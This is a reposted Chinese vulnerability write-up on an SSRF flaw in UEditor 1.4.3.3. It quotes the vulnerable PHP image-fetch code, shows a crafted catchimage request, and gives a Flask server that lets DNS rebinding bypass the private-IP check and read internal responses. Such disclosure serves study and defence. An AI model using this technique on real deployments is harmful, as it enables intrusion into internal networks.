Ueditor Version 1.4.3.3 SSRF


點以前挖的洞。Ueditor是支持獲取遠程圖片,較為經典的進行限制url請求,但是可以通過DNS重綁定繞過其驗證.

代碼分析

一般請求的url如下,其中source為數組,值為圖片地址:

/editor/ueditor/php/controller.php?action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo_top_86d58ae1.png

  

主要跟蹤這段代碼: /php/Uploader.class.php:173

private function saveRemote() { $imgUrl = htmlspecialchars($this->fileField); $imgUrl = str_replace("&", "&", $imgUrl); //http開頭驗證 if (strpos($imgUrl, "http") !== 0) { $this->stateInfo = $this->getStateInfo("ERROR_HTTP_LINK"); return; } preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches); $host_with_protocol = count($matches) > 1 ? $matches[1] : ''; // 判斷是否是合法 url if (!filter_var($host_with_protocol, FILTER_VALIDATE_URL)) { $this->stateInfo = $this->getStateInfo("INVALID_URL"); return; } preg_match('/^https*:\/\/(.+)/', $host_with_protocol, $matches); $host_without_protocol = count($matches) > 1 ? $matches[1] : ''; // 此時提取出來的可能是 ip 也有可能是域名,先獲取 ip $ip = gethostbyname($host_without_protocol); // 判斷是否是私有 ip if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { $this->stateInfo = $this->getStateInfo("INVALID_IP"); return; } //獲取請求頭並檢測死鏈 $heads = get_headers($imgUrl, 1); if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) { $this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK"); return; } //格式驗證(擴展名驗證和Content-Type驗證) $fileType = strtolower(strrchr($imgUrl, '.')); if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")) { $this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE"); return; } //打開輸出緩沖區並獲取遠程圖片 ob_start(); $context = stream_context_create( array('http' => array( 'follow_location' => false // don't follow redirects )) ); readfile($imgUrl, false, $context); $img = ob_get_contents(); ob_end_clean(); ...省略 }

整個流程大概如下:
1、判斷是否是合法http的url地址
2、利用gethostbyname來解析判斷是否是內網IP
3、利用get_headers進行http請求,來判斷請求的圖片資源是否正確,比如狀態碼為200、響應content-type是否為image (SSRF漏洞觸發處)
4、最終用readfile來進行最后的資源獲取,來獲取圖片內容

所以在利用DNS重綁定時候,我們可以這樣做
第一次請求 -> 外網ip
第二次請求 -> 內網ip
第三次請求 -> 內網ip

1.4.3.3 DNS重綁定利用過程

其實單純的第二次就已經有了HTTP請求,所以可以很容易的進行一些攻擊.

/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png

其中my.ip設置了重綁定
第一次dns請求是調用了gethostbyname函數 -> 外網ip
第二次dns請求是調用了get_headers函數 -> 內網ip

其中返回內容state為鏈接contentType不正確,表示請求成功了!
如果返回為非法 IP則表示DNS重綁定時候第一次是為內網IP,這時需要調整一下綁定順序.


但是會剩一個問題就是: 能不能獲取到SSRF請求后的回顯內容!
第三個請求便可以做到,因為會將請求的內容保存為圖片,我們獲取圖片內容即可.

但是得先把第二次請求限制繞過

!(stristr($heads[0], "200") && stristr($heads[0], "OK")) !in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) || !stristr($heads['Content-Type'], "image")

這兩個條件語句也就是限定了請求得需要為200狀態、並且響應頭的content-type是image
所以第二次請求最好是我們可控的服務器,這樣才能繞過它的限制.

所以在利用DNS重綁定時候,我們可以這樣做
第一次請求 -> 外網ip
第二次請求 -> 外網ip (外網server)
第三次請求 -> 內網ip (內網攻擊地址)

第二次請求的外網server需要定制一下,也就任何請求都返回200,並且content-type為image

from flask import Flask, Response
from werkzeug.routing import BaseConverter

class Regex_url(BaseConverter): def __init__(self,url_map,*args): super(Regex_url,self).__init__(url_map) self.regex = args[0] app = Flask(__name__) app.url_map.converters['re'] = Regex_url @app.route('/<re(".*?"):tmp>') def test(tmp): image = 'Test' #image = file("demo.jpg") resp = Response(image, mimetype="image/jpeg") return resp if __name__ == '__main__': app.run(host='0.0.0.0',port=80)


上面的都是一些理論的說明,事實上,有些DNS會存在緩存問題,導致出現出現結果很不穩定。

第一步: 搭建后外網的server,左邊的為第二次請求(外網),右邊為第三次請求(內網)

第二步: 進行請求,其中網址是有dns重綁定

第三步: 可以根據返回的圖片地址,請求后便可以獲取到內網web的ssrf的響應內容

know it then do it


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM